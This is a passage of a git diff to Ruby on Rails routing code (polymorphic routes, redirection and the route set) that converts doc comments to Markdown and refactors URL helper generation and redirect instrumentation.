-    # * <tt>redirect_to</tt> (which, in fact, uses <tt>url_for</tt>) so you can write
-    #   <tt>redirect_to(post)</tt> in your controllers;
-    # * ActionView::Helpers::AtomFeedHelper, so you don't have to explicitly specify URLs
-    #   for feed entries.
+    # ## Prefixed polymorphic helpers
     #
-    # == Prefixed polymorphic helpers
+    # In addition to `polymorphic_url` and `polymorphic_path` methods, a number of
+    # prefixed helpers are available as a shorthand to `action: "..."` in options.
+    # Those are:
     #
-    # In addition to <tt>polymorphic_url</tt> and <tt>polymorphic_path</tt> methods, a
-    # number of prefixed helpers are available as a shorthand to <tt>action: "..."</tt>
-    # in options. Those are:
+    # *   `edit_polymorphic_url`, `edit_polymorphic_path`
+    # *   `new_polymorphic_url`, `new_polymorphic_path`
     #
-    # * <tt>edit_polymorphic_url</tt>, <tt>edit_polymorphic_path</tt>
-    # * <tt>new_polymorphic_url</tt>, <tt>new_polymorphic_path</tt>
     #
     # Example usage:
     #
-    #   edit_polymorphic_path(@post)              # => "/posts/1/edit"
-    #   polymorphic_path(@post, format: :pdf)  # => "/posts/1.pdf"
+    #     edit_polymorphic_path(@post)           # => "/posts/1/edit"
+    #     polymorphic_path(@post, format: :pdf)  # => "/posts/1.pdf"
     #
-    # == Usage with mounted engines
+    # ## Usage with mounted engines
     #
     # If you are using a mounted engine and you need to use a polymorphic_url
     # pointing at the engine's routes, pass in the engine's route proxy as the first
     # argument to the method. For example:
     #
-    #   polymorphic_url([blog, @post])  # calls blog.post_path(@post)
-    #   form_for([blog, @post])         # => "/blog/posts/1"
+    #     polymorphic_url([blog, @post])  # calls blog.post_path(@post)
+    #     form_with(model: [blog, @post]) # => "/blog/posts/1"
     #
     module PolymorphicRoutes
-      # Constructs a call to a named RESTful route for the given record and returns the
-      # resulting URL string. For example:
+      # Constructs a call to a named RESTful route for the given record and returns
+      # the resulting URL string. For example:
       #
-      #   # calls post_url(post)
-      #   polymorphic_url(post) # => "http://example.com/posts/1"
-      #   polymorphic_url([blog, post]) # => "http://example.com/blogs/1/posts/1"
-      #   polymorphic_url([:admin, blog, post]) # => "http://example.com/admin/blogs/1/posts/1"
-      #   polymorphic_url([user, :blog, post]) # => "http://example.com/users/1/blog/posts/1"
-      #   polymorphic_url(Comment) # => "http://example.com/comments"
+      #     # calls post_url(post)
+      #     polymorphic_url(post) # => "http://example.com/posts/1"
+      #     polymorphic_url([blog, post]) # => "http://example.com/blogs/1/posts/1"
+      #     polymorphic_url([:admin, blog, post]) # => "http://example.com/admin/blogs/1/posts/1"
+      #     polymorphic_url([user, :blog, post]) # => "http://example.com/users/1/blog/posts/1"
+      #     polymorphic_url(Comment) # => "http://example.com/comments"
       #
-      # ==== Options
+      # #### Options
       #
-      # * <tt>:action</tt> - Specifies the action prefix for the named route:
-      #   <tt>:new</tt> or <tt>:edit</tt>. Default is no prefix.
-      # * <tt>:routing_type</tt> - Allowed values are <tt>:path</tt> or <tt>:url</tt>.
-      #   Default is <tt>:url</tt>.
+      # *   `:action` - Specifies the action prefix for the named route: `:new` or
+      #     `:edit`. Default is no prefix.
+      # *   `:routing_type` - Allowed values are `:path` or `:url`. Default is `:url`.
       #
-      # Also includes all the options from <tt>url_for</tt>. These include such
-      # things as <tt>:anchor</tt> or <tt>:trailing_slash</tt>. Example usage
-      # is given below:
       #
-      #   polymorphic_url([blog, post], anchor: 'my_anchor')
-      #     # => "http://example.com/blogs/1/posts/1#my_anchor"
-      #   polymorphic_url([blog, post], anchor: 'my_anchor', script_name: "/my_app")
-      #     # => "http://example.com/my_app/blogs/1/posts/1#my_anchor"
+      # Also includes all the options from `url_for`. These include such things as
+      # `:anchor` or `:trailing_slash`. Example usage is given below:
       #
-      # For all of these options, see the documentation for {url_for}[rdoc-ref:ActionDispatch::Routing::UrlFor].
+      #     polymorphic_url([blog, post], anchor: 'my_anchor')
+      #       # => "http://example.com/blogs/1/posts/1#my_anchor"
+      #     polymorphic_url([blog, post], anchor: 'my_anchor', script_name: "/my_app")
+      #       # => "http://example.com/my_app/blogs/1/posts/1#my_anchor"
       #
-      # ==== Functionality
+      # For all of these options, see the documentation for
+      # [url_for](rdoc-ref:ActionDispatch::Routing::UrlFor).
       #
-      #   # an Article record
-      #   polymorphic_url(record)  # same as article_url(record)
+      # #### Functionality
       #
-      #   # a Comment record
-      #   polymorphic_url(record)  # same as comment_url(record)
+      #     # an Article record
+      #     polymorphic_url(record)  # same as article_url(record)
       #
-      #   # it recognizes new records and maps to the collection
-      #   record = Comment.new
-      #   polymorphic_url(record)  # same as comments_url()
+      #     # a Comment record
+      #     polymorphic_url(record)  # same as comment_url(record)
       #
-      #   # the class of a record will also map to the collection
-      #   polymorphic_url(Comment) # same as comments_url()
+      #     # it recognizes new records and maps to the collection
+      #     record = Comment.new
+      #     polymorphic_url(record)  # same as comments_url()
+      #
+      #     # the class of a record will also map to the collection
+      #     polymorphic_url(Comment) # same as comments_url()
       #
       def polymorphic_url(record_or_hash_or_array, options = {})
         if Hash === record_or_hash_or_array
@@ -103,6 +114,10 @@ def polymorphic_url(record_or_hash_or_array, options = {})
           return polymorphic_url record, options
         end
 
+        if mapping = polymorphic_mapping(record_or_hash_or_array)
+          return mapping.call(self, [record_or_hash_or_array, options], false)
+        end
+
         opts   = options.dup
         action = opts.delete :action
         type   = opts.delete(:routing_type) || :url
@@ -114,8 +129,7 @@ def polymorphic_url(record_or_hash_or_array, options = {})
                                                opts
       end
 
-      # Returns the path component of a URL for the given record. It uses
-      # <tt>polymorphic_url</tt> with <tt>routing_type: :path</tt>.
+      # Returns the path component of a URL for the given record.
       def polymorphic_path(record_or_hash_or_array, options = {})
         if Hash === record_or_hash_or_array
           options = record_or_hash_or_array.merge(options)
@@ -123,6 +137,10 @@ def polymorphic_path(record_or_hash_or_array, options = {})
           return polymorphic_path record, options
         end
 
+        if mapping = polymorphic_mapping(record_or_hash_or_array)
+          return mapping.call(self, [record_or_hash_or_array, options], true)
+        end
+
         opts   = options.dup
         action = opts.delete :action
         type   = :path
@@ -136,6 +154,7 @@ def polymorphic_path(record_or_hash_or_array, options = {})
 
       %w(edit new).each do |action|
         module_eval <<-EOT, __FILE__, __LINE__ + 1
+          # frozen_string_literal: true
           def #{action}_polymorphic_url(record_or_hash, options = {})
             polymorphic_url_for_action("#{action}", record_or_hash, options)
           end
@@ -147,7 +166,6 @@ def #{action}_polymorphic_path(record_or_hash, options = {})
       end
 
       private
-
         def polymorphic_url_for_action(action, record_or_hash, options)
           polymorphic_url(record_or_hash, options.merge(action: action))
         end
@@ -156,16 +174,24 @@ def polymorphic_path_for_action(action, record_or_hash, options)
           polymorphic_path(record_or_hash, options.merge(action: action))
         end
 
+        def polymorphic_mapping(record)
+          if record.respond_to?(:to_model)
+            _routes.polymorphic_mappings[record.to_model.model_name.name]
+          else
+            _routes.polymorphic_mappings[record.class.name]
+          end
+        end
+
         class HelperMethodBuilder # :nodoc:
-          CACHE = { "path" => {}, "url" => {} }
+          CACHE = { path: {}, url: {} }
 
           def self.get(action, type)
-            type = type.to_s
+            type = type.to_sym
             CACHE[type].fetch(action) { build action, type }
           end
 
-          def self.url;  CACHE["url".freeze][nil]; end
-          def self.path; CACHE["path".freeze][nil]; end
+          def self.url;  CACHE[:url][nil]; end
+          def self.path; CACHE[:path][nil]; end
 
           def self.build(action, type)
             prefix = action ? "#{action}_" : ""
@@ -211,9 +237,9 @@ def self.polymorphic_method(recipient, record_or_hash_or_array, action, type, op
             end
 
             if options.empty?
-              recipient.send(method, *args)
+              recipient.public_send(method, *args)
             else
-              recipient.send(method, *args, options)
+              recipient.public_send(method, *args, options)
             end
           end
 
@@ -230,7 +256,7 @@ def handle_string(record)
           end
 
           def handle_string_call(target, str)
-            target.send get_method_for_string str
+            target.public_send get_method_for_string str
           end
 
           def handle_class(klass)
@@ -238,7 +264,7 @@ def handle_class(klass)
           end
 
           def handle_class_call(target, klass)
-            target.send get_method_for_class klass
+            target.public_send get_method_for_class klass
           end
 
           def handle_model(record)
@@ -255,9 +281,13 @@ def handle_model(record)
             [named_route, args]
           end
 
-          def handle_model_call(target, model)
-            method, args = handle_model model
-            target.send(method, *args)
+          def handle_model_call(target, record)
+            if mapping = polymorphic_mapping(target, record)
+              mapping.call(target, [record], suffix == "path")
+            else
+              method, args = handle_model(record)
+              target.public_send(method, *args)
+            end
           end
 
           def handle_list(list)
@@ -266,10 +296,12 @@ def handle_list(list)
 
             args = []
 
-            route = record_list.map { |parent|
+            route = record_list.map do |parent|
               case parent
-              when Symbol, String
+              when Symbol
                 parent.to_s
+              when String
+                raise(ArgumentError, "Please use symbols for polymorphic route arguments.")
               when Class
                 args << parent
                 parent.model_name.singular_route_key
@@ -277,12 +309,14 @@ def handle_list(list)
                 args << parent.to_model
                 parent.to_model.model_name.singular_route_key
               end
-            }
+            end
 
             route <<
             case record
-            when Symbol, String
+            when Symbol
               record.to_s
+            when String
+              raise(ArgumentError, "Please use symbols for polymorphic route arguments.")
             when Class
               @key_strategy.call record.model_name
             else
@@ -302,6 +336,13 @@ def handle_list(list)
           end
 
           private
+            def polymorphic_mapping(target, record)
+              if record.respond_to?(:to_model)
+                target._routes.polymorphic_mappings[record.to_model.model_name.name]
+              else
+                target._routes.polymorphic_mappings[record.class.name]
+              end
+            end
 
             def get_method_for_class(klass)
               name = @key_strategy.call klass.model_name
@@ -313,8 +354,8 @@ def get_method_for_string(str)
             end
 
             [nil, "new", "edit"].each do |action|
-              CACHE["url"][action]  = build action, "url"
-              CACHE["path"][action] = build action, "path"
+              CACHE[:url][action]  = build action, "url"
+              CACHE[:path][action] = build action, "path"
             end
         end
     end
diff --git a/actionpack/lib/action_dispatch/routing/redirection.rb b/actionpack/lib/action_dispatch/routing/redirection.rb
index dabc045007782..78fd4209ee2ff 100644
--- a/actionpack/lib/action_dispatch/routing/redirection.rb
+++ b/actionpack/lib/action_dispatch/routing/redirection.rb
@@ -1,5 +1,7 @@
-require "action_dispatch/http/request"
-require "active_support/core_ext/uri"
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "active_support/core_ext/array/extract_options"
 require "rack/utils"
 require "action_controller/metal/exceptions"
@@ -10,18 +12,29 @@ module Routing
     class Redirect < Endpoint # :nodoc:
       attr_reader :status, :block
 
-      def initialize(status, block)
+      def initialize(status, block, source_location)
         @status = status
         @block  = block
+        @source_location = source_location
       end
 
       def redirect?; true; end
 
       def call(env)
-        serve Request.new env
+        ActiveSupport::Notifications.instrument("redirect.action_dispatch") do |payload|
+          request = Request.new(env)
+          response = build_response(request)
+
+          payload[:status] = @status
+          payload[:location] = response.headers["Location"]
+          payload[:request] = request
+          payload[:source_location] = @source_location if @source_location
+
+          response.to_a
+        end
       end
 
-      def serve(req)
+      def build_response(req)
         uri = URI.parse(path(req.path_parameters, req))
 
         unless uri.host
@@ -36,15 +49,17 @@ def serve(req)
         uri.host   ||= req.host
         uri.port   ||= req.port unless req.standard_port?
 
-        body = %(<html><body>You are being <a href="#{ERB::Util.unwrapped_html_escape(uri.to_s)}">redirected</a>.</body></html>)
+        req.commit_flash
+
+        body = ""
 
         headers = {
           "Location" => uri.to_s,
-          "Content-Type" => "text/html",
+          "Content-Type" => "text/html; charset=#{ActionDispatch::Response.default_charset}",
           "Content-Length" => body.length.to_s
         }
 
-        [ status, headers, [body] ]
+        ActionDispatch::Response.new(status, headers, body)
       end
 
       def path(params, request)
@@ -57,19 +72,19 @@ def inspect
 
       private
         def relative_path?(path)
-          path && !path.empty? && path[0] != "/"
+          path && !path.empty? && !path.start_with?("/")
         end
 
         def escape(params)
-          Hash[params.map { |k, v| [k, Rack::Utils.escape(v)] }]
+          params.transform_values { |v| Rack::Utils.escape(v) }
         end
 
         def escape_fragment(params)
-          Hash[params.map { |k, v| [k, Journey::Router::Utils.escape_fragment(v)] }]
+          params.transform_values { |v| Journey::Router::Utils.escape_fragment(v) }
         end
 
         def escape_path(params)
-          Hash[params.map { |k, v| [k, Journey::Router::Utils.escape_path(v)] }]
+          params.transform_values { |v| Journey::Router::Utils.escape_path(v) }
         end
     end
 
@@ -135,62 +150,71 @@ def inspect
     module Redirection
       # Redirect any path to another path:
       #
-      #   get "/stories" => redirect("/posts")
+      #     get "/stories" => redirect("/posts")
+      #
+      # This will redirect the user, while ignoring certain parts of the request,
+      # including query string, etc. `/stories`, `/stories?foo=bar`, etc all redirect
+      # to `/posts`.
+      #
+      # The redirect will use a `301 Moved Permanently` status code by default. This
+      # can be overridden with the `:status` option:
       #
-      # This will redirect the user, while ignoring certain parts of the request, including query string, etc.
-      # `/stories`, `/stories?foo=bar`, etc all redirect to `/posts`.
+      #     get "/stories" => redirect("/posts", status: 307)
       #
       # You can also use interpolation in the supplied redirect argument:
       #
-      #   get 'docs/:article', to: redirect('/wiki/%{article}')
+      #     get 'docs/:article', to: redirect('/wiki/%{article}')
       #
-      # Note that if you return a path without a leading slash then the url is prefixed with the
-      # current SCRIPT_NAME environment variable. This is typically '/' but may be different in
-      # a mounted engine or where the application is deployed to a subdirectory of a website.
+      # Note that if you return a path without a leading slash then the URL is
+      # prefixed with the current SCRIPT_NAME environment variable. This is typically
+      # '/' but may be different in a mounted engine or where the application is
+      # deployed to a subdirectory of a website.
       #
       # Alternatively you can use one of the other syntaxes:
       #
-      # The block version of redirect allows for the easy encapsulation of any logic associated with
-      # the redirect in question. Either the params and request are supplied as arguments, or just
-      # params, depending of how many arguments your block accepts. A string is required as a
-      # return value.
+      # The block version of redirect allows for the easy encapsulation of any logic
+      # associated with the redirect in question. Either the params and request are
+      # supplied as arguments, or just params, depending of how many arguments your
+      # block accepts. A string is required as a return value.
       #
-      #   get 'jokes/:number', to: redirect { |params, request|
-      #     path = (params[:number].to_i.even? ? "wheres-the-beef" : "i-love-lamp")
-      #     "http://#{request.host_with_port}/#{path}"
-      #   }
+      #     get 'jokes/:number', to: redirect { |params, request|
+      #       path = (params[:number].to_i.even? ? "wheres-the-beef" : "i-love-lamp")
+      #       "http://#{request.host_with_port}/#{path}"
+      #     }
       #
-      # Note that the +do end+ syntax for the redirect block wouldn't work, as Ruby would pass
-      # the block to +get+ instead of +redirect+. Use <tt>{ ... }</tt> instead.
+      # Note that the `do end` syntax for the redirect block wouldn't work, as Ruby
+      # would pass the block to `get` instead of `redirect`. Use `{ ... }` instead.
       #
-      # The options version of redirect allows you to supply only the parts of the url which need
-      # to change, it also supports interpolation of the path similar to the first example.
+      # The options version of redirect allows you to supply only the parts of the URL
+      # which need to change, it also supports interpolation of the path similar to
+      # the first example.
       #
-      #   get 'stores/:name',       to: redirect(subdomain: 'stores', path: '/%{name}')
-      #   get 'stores/:name(*all)', to: redirect(subdomain: 'stores', path: '/%{name}%{all}')
-      #   get '/stories', to: redirect(path: '/posts')
+      #     get 'stores/:name',       to: redirect(subdomain: 'stores', path: '/%{name}')
+      #     get 'stores/:name(*all)', to: redirect(subdomain: 'stores', path: '/%{name}%{all}')
+      #     get '/stories', to: redirect(path: '/posts')
       #
-      # This will redirect the user, while changing only the specified parts of the request,
-      # for example the `path` option in the last example.
-      # `/stories`, `/stories?foo=bar`, redirect to `/posts` and `/posts?foo=bar` respectively.
+      # This will redirect the user, while changing only the specified parts of the
+      # request, for example the `path` option in the last example. `/stories`,
+      # `/stories?foo=bar`, redirect to `/posts` and `/posts?foo=bar` respectively.
       #
-      # Finally, an object which responds to call can be supplied to redirect, allowing you to reuse
-      # common redirect routes. The call method must accept two arguments, params and request, and return
-      # a string.
+      # Finally, an object which responds to call can be supplied to redirect,
+      # allowing you to reuse common redirect routes. The call method must accept two
+      # arguments, params and request, and return a string.
       #
-      #   get 'accounts/:name' => redirect(SubdomainRedirector.new('api'))
+      #     get 'accounts/:name' => redirect(SubdomainRedirector.new('api'))
       #
       def redirect(*args, &block)
-        options = args.extract_options!
-        status  = options.delete(:status) || 301
-        path    = args.shift
+        options         = args.extract_options!
+        status          = options.delete(:status) || 301
+        path            = args.shift
+        source_location = caller[0] if ActionDispatch.verbose_redirect_logs
 
-        return OptionRedirect.new(status, options) if options.any?
-        return PathRedirect.new(status, path) if String === path
+        return OptionRedirect.new(status, options, source_location) if options.any?
+        return PathRedirect.new(status, path, source_location) if String === path
 
         block = path if path.respond_to? :call
         raise ArgumentError, "redirection argument not supported" unless block
-        Redirect.new status, block
+        Redirect.new status, block, source_location
       end
     end
   end
diff --git a/actionpack/lib/action_dispatch/routing/route_set.rb b/actionpack/lib/action_dispatch/routing/route_set.rb
index 5b873aeab7640..a8bea98432708 100644
--- a/actionpack/lib/action_dispatch/routing/route_set.rb
+++ b/actionpack/lib/action_dispatch/routing/route_set.rb
@@ -1,20 +1,39 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "action_dispatch/journey"
 require "active_support/core_ext/object/to_query"
-require "active_support/core_ext/hash/slice"
+require "active_support/core_ext/module/redefine_method"
 require "active_support/core_ext/module/remove_method"
 require "active_support/core_ext/array/extract_options"
 require "action_controller/metal/exceptions"
-require "action_dispatch/http/request"
 require "action_dispatch/routing/endpoint"
 
 module ActionDispatch
   module Routing
-    # :stopdoc:
+    # The RouteSet contains a collection of Route instances, representing the routes
+    # typically defined in `config/routes.rb`.
     class RouteSet
-      # Since the router holds references to many parts of the system
-      # like engines, controllers and the application itself, inspecting
-      # the route set can actually be really slow, therefore we default
-      # alias inspect to to_s.
+      # Returns a Route matching the given requirements, or `nil` if none are found.
+      #
+      # This is intended for use by tools such as Language Servers.
+      #
+      # Given the routes are defined as:
+      #
+      #   resources :posts
+      #
+      # Then the following will return the Route for the `show` action:
+      #
+      #   Rails.application.routes.from_requirements(controller: "posts", action: "show")
+      def from_requirements(requirements)
+        routes.find { |route| route.requirements == requirements }
+      end
+      # :enddoc:
+
+      # Since the router holds references to many parts of the system like engines,
+      # controllers and the application itself, inspecting the route set can actually
+      # be really slow, therefore we default alias inspect to to_s.
       alias inspect to_s
 
       class Dispatcher < Routing::Endpoint
@@ -33,21 +52,18 @@ def serve(req)
           if @raise_on_name_error
             raise
           else
-            return [404, { "X-Cascade" => "pass" }, []]
+            [404, { Constants::X_CASCADE => "pass" }, []]
           end
         end
 
-      private
-
-        def controller(req)
-          req.controller_class
-        rescue NameError => e
-          raise ActionController::RoutingError, e.message, e.backtrace
-        end
+        private
+          def controller(req)
+            req.controller_class
+          end
 
-        def dispatch(controller, action, req, res)
-          controller.dispatch(action, req, res)
-        end
+          def dispatch(controller, action, req, res)
+            controller.dispatch(action, req, res)
+          end
       end
 
       class StaticDispatcher < Dispatcher
@@ -57,7 +73,6 @@ def initialize(controller_class)
         end
 
         private
-
           def controller(_); @controller_class; end
       end
 
@@ -88,11 +103,11 @@ def helper_names
 
         def clear!
           @path_helpers.each do |helper|
-            @path_helpers_module.send :undef_method, helper
+            @path_helpers_module.remove_method helper
           end
 
           @url_helpers.each do |helper|
-            @url_helpers_module.send  :undef_method, helper
+            @url_helpers_module.remove_method helper
           end
 
           @routes.clear
@@ -106,12 +121,14 @@ def add(name, route)
           url_name  = :"#{name}_url"
 
           if routes.key? key
-            @path_helpers_module.send :undef_method, path_name
-            @url_helpers_module.send  :undef_method, url_name
+            @path_helpers_module.undef_method path_name
+            @url_helpers_module.undef_method url_name
           end
           routes[key] = route
-          define_url_helper @path_helpers_module, route, path_name, route.defaults, name, PATH
-          define_url_helper @url_helpers_module,  route, url_name,  route.defaults, name, UNKNOWN
+
+          helper = UrlHelper.create(route, route.defaults, name)
+          define_url_helper @path_helpers_module, path_name, helper, PATH
+          define_url_helper @url_helpers_module, url_name, helper, UNKNOWN
 
           @path_helpers << path_name
           @url_helpers << url_name
@@ -130,8 +147,8 @@ def key?(name)
         alias []    get
         alias clear clear!
 
-        def each
-          routes.each { |name, route| yield name, route }
+        def each(&block)
+          routes.each(&block)
           self
         end
 
@@ -143,34 +160,71 @@ def length
           routes.length
         end
 
+        # Given a `name`, defines name_path and name_url helpers. Used by 'direct',
+        # 'resolve', and 'polymorphic' route helpers.
+        def add_url_helper(name, defaults, &block)
+          helper = CustomUrlHelper.new(name, defaults, &block)
+          path_name = :"#{name}_path"
+          url_name = :"#{name}_url"
+
+          @path_helpers_module.module_eval do
+            redefine_method(path_name) do |*args|
+              helper.call(self, args, true)
+            end
+          end
+
+          @url_helpers_module.module_eval do
+            redefine_method(url_name) do |*args|
+              helper.call(self, args, false)
+            end
+          end
+
+          @path_helpers << path_name
+          @url_helpers << url_name
+
+          self
+        end
+
         class UrlHelper
-          def self.create(route, options, route_name, url_strategy)
+          def self.create(route, options, route_name)
             if optimize_helper?(route)
-              OptimizedUrlHelper.new(route, options, route_name, url_strategy)
+              OptimizedUrlHelper.new(route, options, route_name)
             else
-              new route, options, route_name, url_strategy
+              new(route, options, route_name)
             end
           end
 
           def self.optimize_helper?(route)
-            !route.glob? && route.path.requirements.empty?
+            route.path.requirements.empty? && !route.glob?
           end
 
-          attr_reader :url_strategy, :route_name
+          attr_reader :route_name
 
           class OptimizedUrlHelper < UrlHelper
             attr_reader :arg_size
 
-            def initialize(route, options, route_name, url_strategy)
+            def initialize(route, options, route_name)
               super
               @required_parts = @route.required_parts
               @arg_size       = @required_parts.size
             end
 
-            def call(t, args, inner_options)
+            def call(t, method_name, args, inner_options, url_strategy)
               if args.size == arg_size && !inner_options && optimize_routes_generation?(t)
                 options = t.url_options.merge @options
-                options[:path] = optimized_helper(args)
+                path = optimized_helper(args)
+                path << "/" if options[:trailing_slash] && !path.end_with?("/")
+                options[:path] = path
+
+                original_script_name = options.delete(:original_script_name)
+                script_name = t._routes.find_script_name(options)
+
+                if original_script_name
+                  script_name = original_script_name + script_name
+                end
+
+                options[:script_name] = script_name
+
                 url_strategy.call options
               else
                 super
@@ -178,7 +232,6 @@ def call(t, args, inner_options)
             end
 
             private
-
               def optimized_helper(args)
                 params = parameterize_args(args) do
                   raise_generation_error(args)
@@ -208,22 +261,21 @@ def raise_generation_error(args)
                   missing_keys << missing_key
                 }
                 constraints = Hash[@route.requirements.merge(params).sort_by { |k, v| k.to_s }]
-                message = "No route matches #{constraints.inspect}"
+                message = +"No route matches #{constraints.inspect}"
                 message << ", missing required keys: #{missing_keys.sort.inspect}"
 
                 raise ActionController::UrlGenerationError, message
               end
           end
 
-          def initialize(route, options, route_name, url_strategy)
+          def initialize(route, options, route_name)
             @options      = options
             @segment_keys = route.segment_keys.uniq
             @route        = route
-            @url_strategy = url_strategy
             @route_name   = route_name
           end
 
-          def call(t, args, inner_options)
+          def call(t, method_name, args, inner_options, url_strategy)
             controller_options = t.url_options
             options = controller_options.merge @options
             hash = handle_positional_args(controller_options,
@@ -232,7 +284,7 @@ def call(t, args, inner_options)
                                           options,
                                           @segment_keys)
 
-            t._routes.url_for(hash, route_name, url_strategy)
+            t._routes.url_for(hash, route_name, url_strategy, method_name)
           end
 
           def handle_positional_args(controller_options, inner_options, args, result, path_params)
@@ -246,7 +298,9 @@ def handle_positional_args(controller_options, inner_options, args, result, path
 
               if args.size < path_params_size
                 path_params -= controller_options.keys
-                path_params -= result.keys
+                path_params -= (result[:path_params] || {}).merge(result).keys
+              else
+                path_params = path_params.dup
               end
               inner_options.each_key do |key|
                 path_params.delete(key)
@@ -263,49 +317,42 @@ def handle_positional_args(controller_options, inner_options, args, result, path
         end
 
         private
-          # Create a url helper allowing ordered parameters to be associated
-          # with corresponding dynamic segments, so you can do:
+          # Create a URL helper allowing ordered parameters to be associated with
+          # corresponding dynamic segments, so you can do:
           #
-          #   foo_url(bar, baz, bang)
+          #     foo_url(bar, baz, bang)
           #
           # Instead of:
           #
-          #   foo_url(bar: bar, baz: baz, bang: bang)
+          #     foo_url(bar: bar, baz: baz, bang: bang)
           #
           # Also allow options hash, so you can do:
           #
-          #   foo_url(bar, baz, bang, sort_by: 'baz')
+          #     foo_url(bar, baz, bang, sort_by: 'baz')
           #
-          def define_url_helper(mod, route, name, opts, route_key, url_strategy)
-            helper = UrlHelper.create(route, opts, route_key, url_strategy)
-            mod.module_eval do
-              define_method(name) do |*args|
-                last = args.last
-                options = \
-                  case last
-                  when Hash
-                    args.pop
-                  when ActionController::Parameters
-                    if last.permitted?
-                      args.pop.to_h
-                    else
-                      raise ArgumentError, ActionDispatch::Routing::INSECURE_URL_PARAMETERS_MESSAGE
-                    end
-                  end
-                helper.call self, args, options
-              end
+          def define_url_helper(mod, name, helper, url_strategy)
+            mod.define_method(name) do |*args|
+              last = args.last
+              options = \
+                case last
+                when Hash
+                  args.pop
+                when ActionController::Parameters
+                  args.pop.to_h
+                end
+              helper.call(self, name, args, options, url_strategy)
             end
           end
       end
 
-      # strategy for building urls to send to the client
+      # strategy for building URLs to send to the client
       PATH    = ->(options) { ActionDispatch::Http::URL.path_for(options) }
       UNKNOWN = ->(options) { ActionDispatch::Http::URL.url_for(options) }
 
-      attr_accessor :formatter, :set, :named_routes, :default_scope, :router
+      attr_accessor :formatter, :set, :named_routes, :router
       attr_accessor :disable_clear_and_finalize, :resources_path_names
-      attr_accessor :default_url_options
-      attr_reader :env_key
+      attr_accessor :default_url_options, :draw_paths
+      attr_reader :env_key, :polymorphic_mappings
 
       alias :routes :set
 
@@ -314,7 +361,7 @@ def self.default_resources_path_names
       end
 
       def self.new_with_config(config)
-        route_set_config = DEFAULT_CONFIG
+        route_set_config = DEFAULT_CONFIG.dup
 
         # engines apparently don't have this set
         if config.respond_to? :relative_url_root
@@ -325,33 +372,41 @@ def self.new_with_config(config)
           route_set_config.api_only = config.api_only
         end
 
+        if config.respond_to? :default_scope
+          route_set_config.default_scope = config.default_scope
+        end
+
         new route_set_config
       end
 
-      Config = Struct.new :relative_url_root, :api_only
+      Config = Struct.new :relative_url_root, :api_only, :default_scope
 
-      DEFAULT_CONFIG = Config.new(nil, false)
+      DEFAULT_CONFIG = Config.new(nil, false, nil)
 
-      def initialize(config = DEFAULT_CONFIG)
+      def initialize(config = DEFAULT_CONFIG.dup)
         self.named_routes = NamedRouteCollection.new
         self.resources_path_names = self.class.default_resources_path_names
         self.default_url_options = {}
+        self.draw_paths = []
 
         @config                     = config
         @append                     = []
         @prepend                    = []
         @disable_clear_and_finalize = false
         @finalized                  = false
-        @env_key                    = "ROUTES_#{object_id}_SCRIPT_NAME".freeze
+        @env_key                    = "ROUTES_#{object_id}_SCRIPT_NAME"
+        @default_env                = nil
 
         @set    = Journey::Routes.new
         @router = Journey::Router.new @set
         @formatter = Journey::Formatter.new self
+        @polymorphic_mappings = {}
       end
 
       def eager_load!
         router.eager_load!
         routes.each(&:eager_load!)
+        formatter.eager_load!
         nil
       end
 
@@ -363,6 +418,14 @@ def api_only?
         @config.api_only
       end
 
+      def default_scope
+        @config.default_scope
+      end
+
+      def default_scope=(new_default_scope)
+        @config.default_scope = new_default_scope
+      end
+
       def request_class
         ActionDispatch::Request
       end
@@ -372,6 +435,25 @@ def make_request(env)
       end
       private :make_request
 
+      def default_env
+        if default_url_options != @default_env&.[]("action_dispatch.routes.default_url_options")
+          url_options = default_url_options.dup.freeze
+          uri = URI(ActionDispatch::Http::URL.full_url_for(host: "example.org", **url_options))
+
+          @default_env = {
+            "action_dispatch.routes" => self,
+            "action_dispatch.routes.default_url_options" => url_options,
+            "HTTPS" => uri.scheme == "https" ? "on" : "off",
+            "rack.url_scheme" => uri.scheme,
+            "HTTP_HOST" => uri.port == uri.default_port ? uri.host : "#{uri.host}:#{uri.port}",
+            "SCRIPT_NAME" => uri.path.chomp("/"),
+            "rack.input" => "",
+          }.freeze
+        end
+
+        @default_env
+      end
+
       def draw(&block)
         clear! unless @disable_clear_and_finalize
         eval_block(block)
@@ -408,6 +490,7 @@ def clear!
         named_routes.clear
         set.clear
         formatter.clear
+        @polymorphic_mappings.clear
         @prepend.each { |blk| eval_block(blk) }
       end
 
@@ -416,15 +499,14 @@ module MountedHelpers
         include UrlFor
       end
 
-      # Contains all the mounted helpers across different
-      # engines and the `main_app` helper for the application.
-      # You can include this in your classes if you want to
-      # access routes for other engines.
+      # Contains all the mounted helpers across different engines and the `main_app`
+      # helper for the application. You can include this in your classes if you want
+      # to access routes for other engines.
       def mounted_helpers
         MountedHelpers
       end
 
-      def define_mounted_helper(name)
+      def define_mounted_helper(name, script_namer = nil)
         return if MountedHelpers.method_defined?(name)
 
         routes = self
@@ -432,7 +514,7 @@ def define_mounted_helper(name)
 
         MountedHelpers.class_eval do
           define_method "_#{name}" do
-            RoutesProxy.new(routes, _routes_context, helpers)
+            RoutesProxy.new(routes, _routes_context, helpers, script_namer)
           end
         end
 
@@ -444,6 +526,14 @@ def #{name}
       end
 
       def url_helpers(supports_path = true)
+        if supports_path
+          @url_helpers_with_paths ||= generate_url_helpers(true)
+        else
+          @url_helpers_without_paths ||= generate_url_helpers(false)
+        end
+      end
+
+      def generate_url_helpers(supports_path)
         routes = self
 
         Module.new do
@@ -452,29 +542,60 @@ def url_helpers(supports_path = true)
 
           # Define url_for in the singleton level so one can do:
           # Rails.application.routes.url_helpers.url_for(args)
-          @_routes = routes
+          proxy_class = Class.new do
+            include UrlFor
+            include routes.named_routes.path_helpers_module
+            include routes.named_routes.url_helpers_module
+
+            attr_reader :_routes
+
+            def initialize(routes)
+              @_routes = routes
+            end
+
+            def optimize_routes_generation?
+              @_routes.optimize_routes_generation?
+            end
+          end
+
+          @_proxy = proxy_class.new(routes)
+
           class << self
             def url_for(options)
-              @_routes.url_for(options)
+              @_proxy.url_for(options)
+            end
+
+            def full_url_for(options)
+              @_proxy.full_url_for(options)
+            end
+
+            def route_for(name, *args)
+              @_proxy.route_for(name, *args)
             end
 
             def optimize_routes_generation?
-              @_routes.optimize_routes_generation?
+              @_proxy.optimize_routes_generation?
             end
 
-            attr_reader :_routes
+            def polymorphic_url(record_or_hash_or_array, options = {})
+              @_proxy.polymorphic_url(record_or_hash_or_array, options)
